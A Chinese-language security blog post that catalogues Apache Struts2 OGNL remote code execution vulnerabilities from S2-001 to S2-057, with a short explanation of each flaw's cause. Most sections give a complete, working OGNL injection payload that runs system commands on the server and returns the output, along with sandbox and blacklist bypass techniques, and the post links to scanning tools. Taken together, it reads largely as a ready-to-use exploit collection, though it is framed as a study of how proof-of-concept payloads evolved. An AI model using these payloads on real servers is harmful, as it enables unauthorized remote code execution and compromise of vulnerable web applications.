Struts2代码执行漏洞整理

写这篇文章原因就想看看POC演化的过程
另外要是我看到了什么可以补充的东西会更新本文
更新时间 2019年6月9日

官方补丁历史
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

ognl表达式相关

这里只是简单介绍,想要深入需要自己去搜索

  1. 普通表达式
<% ShoppingCart cart = (ShoppingCart)session.get("cart");
int id = cart.getId();%>
<%=id%>
  1. 文艺表达式 <%=((shoppingCart)session.get("cart")).getId() %>
  2. ognl表达式 #session.cart.id

三要素

  • 表达式:是整个OGNL的核心,是自根对象被访问对象某个链式操作的字符串表示。
  • root:针对根对象(Root Object)的操作。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
  • context:将规定OGNL的操作“在哪里干”。
    OGNL执行上下文环境,有request、session、application 、parameters、value stack、attr

$:在配置文件、国际化资源文件中引用OGNL表达式
#:访问上下文非root对象,相当于ActionContext.getContext()
@:访问静态属性、静态方法
%:强制(输出)内容为OGNL表达式

表达式功能清单
本段来自于乌云drops

  1. 基本对象树的访问
    对象树的访问就是通过使用点号将对象的引用串联起来进行。
    例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
  2. 对容器变量的访问
    对容器变量的访问,通过#符号加上表达式进行。
    例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  3. 使用操作符号
    OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用mod, in, not in等。
  4. 容器、数组、对象
    OGNL支持对数组ArrayList等容器的顺序访问:例如:group.users[0]
    同时,OGNL支持对Map的按键值查找:
    例如:#session['mySessionPropKey']
    不仅如此,OGNL还支持容器的构造的表达式:
    例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
    你也可以通过任意类对象的构造函数进行对象新建:
    例如:new Java.net.URL("xxxxxx/")
  5. 静态方法或变量的访问
    要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args)
    例如:@com.javaeye.core.Resource@ENABLE,@java.lang.String@format('foo %s','bar')
  6. 方法调用
    类似Java,甚至可以传递参数。如objName.methodName(#parameter)
  7. 投影和选择
    OGNL支持类似数据库中的投影(projection) 和选择(selection)
    • 投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为collection.{XXX},其中XXX是这个集合中每个元素的公共属性
      例如:group.userList.{username}将获得某个group中的所有user的name的列表。
    • 选择就是过滤满足selection条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
      ? 选择满足条件的所有元素
      ^ 选择满足条件的第一个元素
      $ 选择满足条件的最后一个元素
      如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
注入点 代码写法
request参数名、cookie名 (ognl)(constant)=value&(constant)((ognl1)(ognl2))
request参数值 %{ognl} ${ognl} 'ognl' (ognl)
request的filename %{ognl} ${ognl}
request的url /%{ognl}.action /${ognl}.action
request的content-type %{ognl} ${ognl}

示例代码
get方式,调用对象的静态方法执行命令

OgnlContext context = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());

set方式,new一个对象调用方法执行命令

OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());

struts2框架执行流程

可以看这个 https://blog.csdn.net/wjw0130/article/details/46371847

S2-001

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

获取web目录

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),#response.flush(),
#response.close()}

执行系统命令

%{
#a=(new java.lang.ProcessBuilder("whoami")).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#matt.getWriter().println(new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close()}

S2-003/S2-005

S2-003漏洞发生在请求参数名,Struts2框架会对每个请求参数名解析为OGNL语句执行。
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,绕过这个修复很简单,所以就有了S2-005。ognl表达式通过#访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。

由于ONGL的调用可以通过http传参来执行,为了防止攻击者以此来调用任意方法,Xwork设置了两个参数来进行防护:

  • OgnlContext的属性 xwork.MethodAccessor.denyMethodExecution(默认为真)
  • SecurityMemberAccess私有字段allowStaticMethodAccess(默认为假)

获取web目录

('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))
&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(i97)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))
&(i99)(('\43xman.getWriter().close()')(d))

执行系统命令

('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43mycmd\75\'"+cmd+"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))
&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))
&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))
&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(n)(('\43myout.getWriter().println(\43mystr)')(d))

S2-007

用户输入被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则<ActionName>-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。

'%2b(%23_memberAccess.allowStaticMethodAccess=true,
%23context["xwork.MethodAccessor.denyMethodExecution"]=false,
%23cmd="ifconfig",
%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),
%23data=new+java.io.DataInputStream(%23ret.getInputStream()),
%23res=new+byte[500],
%23data.readFully(%23res),
%23echo=new+java.lang.String(%23res),
%23out=@org.apache.struts2.ServletActionContext@getResponse(),
%23out.getWriter().println(%23echo))%2b'

S2-008

利用道理和S2-005差不多,只不过是在cookie名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。

S2-009

漏洞利用点跟S2-003和S2-005类似,利用OGNL表达式(1)(2),会执行1的OGNL表达式,009构造了的方法为test=(some OGNL 表达式)(1)&z[(test)(1)]=true
z[(test)(1)]=true,对struts2来说是合法的参数,但是(test)(1)会执行上述说的方法,test的值被带入计算,造成命令执行。

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=+new+java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)
&z[(foo)('meh')]=true

foo参数值必须是action字符串变量,OGNL表达式被写入foo变量中,然后ParametersInterceptor拦截器在对第二参数名处理时,会取出foo值并作为OGNL表达式解析执行,造成远程代码执行漏洞。

S2-012

配置文件中,Action节点里的Result时使用了重定向类型type=redirectAction,并且还使用${param_name}作为重定向变量,struts在获取其值时会执行OGNL表达式,从而造成命令执行。

%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)
(#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println('dbapp:'+new java.lang.String(#e)),
#matt.getWriter().flush(),#matt.getWriter().close())}

S2-013/S2-014

Apache Struts2的<s:a><s:url>标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。

a=${(#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('"+cmd+"').getInputStream(),
#b=new+java.io.InputStreamReader(#a),
#c=new+java.io.BufferedReader(#b),
#d=new+char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println('dbapp:'+new java.lang.String(#d)),
#out.close())}

官方只限制了%{(#exp)}格式的OGNL执行,因为还有%{#exp}形式,从而造成了S2-014。

S2-015

下述配置能让我们访问name.action时使用name.jsp来渲染页面,但是在提取name并解析时,对其执行了OGNL表达式解析,所以导致命令执行。

<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>

还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中,删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true来修改其值达到重获静态方法调用的能力。

${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#m.setAccessible(true),
#m.set(#_memberAccess,true),
#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}

S2-016

DefaultActionMapper类支持以action:redirect:redirectAction:作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致命令执行。

  • 获取web路径
redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#b=#a.getRealPath("/"),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#b),
#matt.getWriter().flush(),
#matt.getWriter().close()}
  • 执行系统命令,执行结果是回显在URL中
redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
  • 执行系统命令2,回显在页面
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get('co'+'m.ope'+'nsymph'+'ony.x'+'wor'+'k2.disp'+'atch'+'er.HttpSe'+'rvletRe'+'sponse'),
#matt.getWriter().println(new java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}

S2-019

属于S2-008发布的第四个漏洞,也就是DebuggingInterceptor拦截器中的缺陷漏洞。需要开启开发者模式<constant name="struts.devMode" value="true" />,传入debug=command&expression = OGNL表达式,从而造成命令执行漏洞。

debug=command&expression=
#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#out.getWriter().println('dbapp:'+new java.lang.String(#e)),
#out.getWriter().flush(),#out.getWriter().close()

S2-020/S2-021

这两个漏洞跟ognl的关系不大。利用成功了是代码执行,利用失败了就是DOS。
附上个POC地址:https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py

S2-029

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
如下的标签就调用了OGNL进行取值。
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。

这个漏洞利用,可以说是非常难,漏洞的原理是二次OGNL表达式执行。
建议阅读 https://www.iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

这个回显结果的代码就跟上面的不太一样了

#_memberAccess.allowPrivateAccess=true,
#_memberAccess.allowStaticMethodAccess=true,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#a=@java.lang.Runtime@getRuntime(),
#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),
#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()

S2-032/S2-033/S2-037

前提开启动态调用
<constant name="struts.enable.DynamicMethodInvocation" value="true" />

这三个漏洞都是抓住了DefaultActionInvocation中会把ActionProxy中的method属性取出来放入到ognlUtil.getValue(methodName + "()" getStack().getContext(), action);方法中执行OGNL表达式。

  • S2-032 前缀参数method:OGNL表达式的形式;
  • S2-033 通过actionName!method的方式,用OGNL表达式将method替换;
  • S2-037 通过actionName/id/methodName的方式,用OGNL表达式替换methodName。

所以这三个漏洞的POC是一样的。需要放到URL中使用。

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#a=(new java.lang.ProcessBuilder(#parameters.a[0])).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get(#parameters.b[0]),
#matt.getWriter().println(#parameters.c[0]+new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close
&a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag

S2-045/S2-046

S2-045漏洞和S2-046漏洞非常相似,都是由于报错信息可以包含OGNL表达式,并且被带入了buildErrorMessage这个方法运行,造成远程代码执行。
利用Jakarta插件,Content-Type需要包含multipart/form-data字段。

  • S2-045 将OGNL表达式注入到HTTP头的Content-Type中;
  • S2-046 第一种是Content-Length的值的长度超长(注:未找到实例),第二种是Content-Dispositionfilename存在空字节

POC中有个:构造键值对
回显当前路径

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#context.setMemberAccess(#dm)))).
(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).
(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).
(#o.println(#path)).(#o.close())}

执行命令。如果注入点是filename,需要末尾加\x00b

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

S2-048

漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。

回显命令执行。POC跟S2-046一模一样

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

推荐阅读 根据官方公告去反推漏洞利用方式——s2-048漏洞分析

S2-052

跟ognl表达式无关,Struts2 REST插件的XStream组件存在反序列化漏洞。略过。

S2-053

当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />,Freemarker会将值当做表达式进行执行,最后导致代码执行。

这个条件太少见了,囧
回显命令执行,又跟S2-045一样的构造

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

S2-057

Namespace用于将action分为逻辑上的不同模块,可以有效避免action重名的情况。默认namespace为空,当所有namespace都找不到时才会在默认namespace中寻找。
第一种情况:在struts.xml配置文件中,如果没有为基础xml配置中定义的result设置namespace,且上层<action>标签中没有设置namespace或者是使用通配符namespace时,则可能存在远程代码执行漏洞。
第二种情况:如果struts的url标签<s:url>中未设置value和action值,且关联的action标签未设置或使用通配符namespace时可能会导致远程代码执行。
人话:当访问action类型为重定向redirect action,chain,postback时,会根据url生成的namespace生成一个跳转地址locationlocation会进行 ognl 计算。

回显命令执行的POC跟S2-032很相似???

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

2.5.16版本Poc

$%7B(%23ct=%23request['struts.valueStack'].context).
(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).
(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(%23ou.setExcludedClasses('java.lang.Shutdown')).
(%23ou.setExcludedPackageNames('sun.reflect.')).
(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(%23ct.setMemberAccess(%23dm)).
(%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D

OGNL的攻防简史

本段选自 浅析OGNL的攻防史

可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。Struts2的防护措施从最开始的正则,到之后的黑名单,在保证OGNL强大功能的基础上,将可能执行静态方法的利用链给切断。在分析绕过方法时,需要注意的有这么几点:

  • struts-defult.xml中的黑名单
  • com.opensymphony.xwork2.ognl.SecurityMemberAccess
  • Ognl

总之是越来越不好绕了。

相关工具

struts2漏洞演示环境
https://github.com/Medicean/VulApps/tree/master/s/struts2
Struts2全版本漏洞检测工具
https://github.com/Lucifer1993/struts-scan
https://github.com/HatBoy/Struts2-Scan

参考
https://www.freebuf.com/vuls/168609.html
http://blog.0kami.cn/2017/01/13/old-Struts2-history-payload/
https://xz.aliyun.com/t/4607
https://www.freebuf.com/articles/web/33232.html
https://blog.csdn.net/u013224189/article/details/81091874
https://superxiaoxiong.github.io/2018/09/03/s2-057/#struts2-5-系列
http://drops.xmd5.com/static/drops/papers-340.html

推荐阅读更多精彩内容